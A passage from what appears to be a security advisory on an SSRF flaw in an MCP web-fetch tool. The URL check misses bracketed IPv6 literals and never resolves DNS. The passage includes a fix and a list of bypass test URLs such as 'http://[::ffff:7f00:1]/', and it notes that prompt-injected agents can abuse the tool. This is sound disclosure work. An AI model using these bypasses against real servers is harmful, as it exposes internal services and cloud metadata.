  "details": "### Summary\n`src/utils/urlSafety.ts` exposes `isPublicHttpUrl` / `assertPublicHttpUrl`, used to gate the MCP `fetchWebContent` tool against private-network targets. The check has two defects that together allow **non-blind SSRF with the response body returned to the caller**:\n\n1. **Bracketed IPv6 literals are never recognized.** Node\u0027s WHATWG `URL.hostname` keeps the surrounding `[\u2026]` for IPv6 literals. `isIP(\"[::1]\")` returns 0 (not 6), so neither `isPrivateIpv4` nor `isPrivateIpv6` is ever called on an IPv6 literal input \u2014 including `[::1]` itself, and including every IPv4-mapped form such as `[::ffff:7f00:1]` (= 127.0.0.1 via the IPv4 stack).\n2. **No DNS resolution.** `isPrivateOrLocalHostname` only inspects the literal `hostname` string. It never resolves the host to an IP. Any attacker-controlled hostname whose DNS record points at 127.0.0.1 (or any RFC1918 / link-local address) passes the check unchanged, and `axios` then performs its own resolution and connects to the private address.\n\nThe `isPrivateIpv6` implementation also has the hex bypass (it would miss `::ffff:7f00:1` even if reached) but defect (1) makes every bracketed IPv6 literal slip past before that branch is even entered.\n\nThe `fetchWebContent` tool returns the response body (`JSON.stringify(result)`) to the MCP caller, so the SSRF is non-blind.\n\n### Details\n\u003c!-- obsidian --\u003e\u003cp\u003e\u003cstrong\u003eVulnerable function\u003c/strong\u003e \u2014 \u003ccode\u003esrc/utils/urlSafety.ts:95-119\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-ts\"\u003eexport function isPrivateOrLocalHostname(hostname: string): boolean {\n  const host = hostname.trim().toLowerCase();\n  if (!host) return true;\n  if (host === \u0027localhost\u0027 || host.endsWith(\u0027.localhost\u0027)) return true;\n  if (host === \u0027metadata.google.internal\u0027 || host === \u0027metadata.azure.internal\u0027) return true;\n  const integerIp = parseIntegerIpv4Literal(host);\n  if (integerIp \u0026#x26;\u0026#x26; isPrivateIpv4(integerIp)) return true;\n  if (isPrivateOrLocalIp(host)) return true;   // only runs if isIP(host) \u2208 {4, 6}\n  return false;\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003eisPrivateOrLocalIp\u003c/code\u003e \u2014 \u003ccode\u003esrc/utils/urlSafety.ts:84-93\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-ts\"\u003efunction isPrivateOrLocalIp(ip: string): boolean {\n  const version = isIP(ip);  // returns 0 for \"[::1]\", \"[::ffff:7f00:1]\", any bracketed literal\n  if (version === 4) return isPrivateIpv4(ip);\n  if (version === 6) return isPrivateIpv6(ip);\n  return false;\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eCaller \u2014 \u003ccode\u003esrc/tools/setupTools.ts:252-286\u003c/code\u003e (\u003ccode\u003efetchWebContent\u003c/code\u003e tool):\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-ts\"\u003eserver.tool(\n  fetchWebToolName,  // default: \"fetchWebContent\"\n  \"Fetch content from a public HTTP(S) URL ...\",\n  { url: z.string().url().refine(\n      (url) =\u003e validatePublicWebUrl(url),   // \u2192 isPublicHttpUrl \u2192 isPrivateOrLocalHostname\n      \"URL must be a public HTTP(S) address ...\"\n    ), /* \u2026 */ },\n  async ({url, maxChars}) =\u003e {\n    const result = await runtime.services.fetchWeb.execute({ url, maxChars, /*\u2026*/ });\n    return { content: [{ type: \u0027text\u0027, text: JSON.stringify(result, null, 2) }] };\n  }\n);\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eService \u2014 \u003ccode\u003esrc/engines/web/fetchWebContent.ts:313-375\u003c/code\u003e: re-validates via \u003ccode\u003eassertPublicHttpUrl\u003c/code\u003e (same broken check), then calls \u003ccode\u003eaxios.head\u003c/code\u003e + \u003ccode\u003eaxios.get\u003c/code\u003e on the raw URL and returns \u003ccode\u003eresponse.data\u003c/code\u003e and \u003ccode\u003eresponse.headers\u003c/code\u003e to the caller.\u003c/p\u003e\n\u003cp\u003eTransport \u2014 \u003ccode\u003esrc/index.ts:85-253\u003c/code\u003e: when \u003ccode\u003econfig.enableHttpServer\u003c/code\u003e is true (documented configuration; enabled by the Docker image), the MCP server binds on \u003ccode\u003e0.0.0.0:${PORT}\u003c/code\u003e (default \u003ccode\u003e3000\u003c/code\u003e) with CORS \u003ccode\u003eorigin: \u0027*\u0027\u003c/code\u003e and \u003cstrong\u003eno authentication\u003c/strong\u003e on \u003ccode\u003e/mcp\u003c/code\u003e (Streamable HTTP) or \u003ccode\u003e/sse\u003c/code\u003e (legacy SSE).

AWS EC2 metadata, internal dashboards, loopback services, RFC1918 neighbours \u2014 all in scope.\n- **Pre-auth when `enableHttpServer` is set.** No authentication layer exists on `/mcp` or `/sse`; CORS is `*`.\n- **DNS-rebinding / LAN-victim angle.** Because `/mcp` is CORS `*` and accepts `POST`, a victim who visits an attacker-controlled webpage while running open-webSearch locally will have their browser used to send tool-call requests, and the tool\u0027s response can be exfiltrated back via a simple XHR.\n- **Exploitable over stdio too.** Even with HTTP disabled, a compromised or prompt-injected MCP client can call `fetchWebContent` against loopback on the host running the server \u2014 a realistic LLM-agent-abuse vector.\n\nNo meaningful mitigation in the call chain: only `http://` and `https://` schemes are accepted, but that is not a restriction for SSRF.\n\n### Suggested fix\n\nTwo changes, either of which individually closes most of the gap; both together close it fully.\n\n1. **Normalize the hostname before IP checks, and perform a DNS resolution.** Use the `ip-address` package or a similar canonicalizer, and reject any `getaddrinfo` result whose IP falls in a private CIDR. Keep a bracket-stripping step for IPv6 literals before calling `isIP()`.\n\n    ```ts\n    import { lookup } from \u0027node:dns/promises\u0027;\n    import { Address4, Address6 } from \u0027ip-address\u0027;\n\n    function stripBrackets(h: string): string {\n      return h.startsWith(\u0027[\u0027) \u0026\u0026 h.endsWith(\u0027]\u0027) ? h.slice(1, -1) : h;\n    }\n\n    const BLOCKED_V6_CIDRS = [\n      \u0027::1/128\u0027, \u0027::/128\u0027,\n      \u0027fc00::/7\u0027, \u0027fe80::/10\u0027,\n      \u00272001:db8::/32\u0027, \u00272002::/16\u0027, \u002764:ff9b::/96\u0027,\n      \u0027100::/64\u0027, \u0027ff00::/8\u0027,\n      \u0027::ffff:0:0/96\u0027,   // IPv4-mapped \u2014 delegate to v4 check\n    ];\n\n    function ipv6IsPrivate(addr6: Address6): boolean {\n      const v4 = addr6.to4();\n      if (v4 \u0026\u0026 v4.isValid()) return isPrivateIpv4(v4.address);\n      return BLOCKED_V6_CIDRS.some(cidr =\u003e addr6.isInSubnet(new Address6(cidr)));\n    }\n\n    export async function assertPublicHttpUrl(url: URL | string, label = \u0027URL\u0027) {\n      const parsed = typeof url === \u0027string\u0027 ? new URL(url) : url;\n      if (parsed.protocol !== \u0027http:\u0027 \u0026\u0026 parsed.protocol !== \u0027https:\u0027) throw \u2026;\n      const host = stripBrackets(parsed.hostname);\n\n      // Literal IP case.\n      const v = isIP(host);\n      if (v === 4 \u0026\u0026 isPrivateIpv4(host)) throw \u2026;\n      if (v === 6 \u0026\u0026 ipv6IsPrivate(new Address6(host))) throw \u2026;\n\n      if (v === 0) {\n        // Hostname \u2014 resolve and check every record.\n        const records = await lookup(host, { all: true, verbatim: true });\n        for (const r of records) {\n          if (r.family === 4 \u0026\u0026 isPrivateIpv4(r.address)) throw \u2026;\n          if (r.family === 6 \u0026\u0026 ipv6IsPrivate(new Address6(r.address))) throw \u2026;\n        }\n      }\n    }\n    ```\n\n2. **Dual-pin the connection.** Even a perfect pre-connect check has TOCTOU gaps (DNS rebinding between check and `axios.get`). Use a custom `undici` `Agent` whose `connect` hook validates the actual connected socket IP via `socket.remoteAddress`. That closes the rebinding window.\n\n3. **Gate the HTTP transport.** Require a bearer token (env var) on `/mcp` and `/sse`, and restrict binding to `127.0.0.1` by default. CORS `*` plus no-auth on `0.0.0.0` is the same exposure profile as an unauthenticated open proxy.\n\nTest vectors to add to the suite:\n\n```ts\nfor (const url of [\n  \u0027http://[::1]/\u0027, \u0027http://[::]/\u0027,\n  \u0027http://[::ffff:127.0.0.1]/\u0027, \u0027http://[::ffff:7f00:1]/\u0027,\n  \u0027http://[0:0:0:0:0:ffff:127.0.0.1]/\u0027,\n  \u0027http://[0:0:0:0:0:0:0:1]/\u0027, \u0027http://[::0:1]/\u0027, \u0027http://[0:0::1]/\u0027,\n  \u0027http://[::ffff:a00:1]/\u0027, \u0027http://[::ffff:c0a8:1]/\u0027, \u0027http://[::ffff:a9fe:1]/\u0027,\n]) expect(isPublicHttpUrl(url)).toBe(false);",
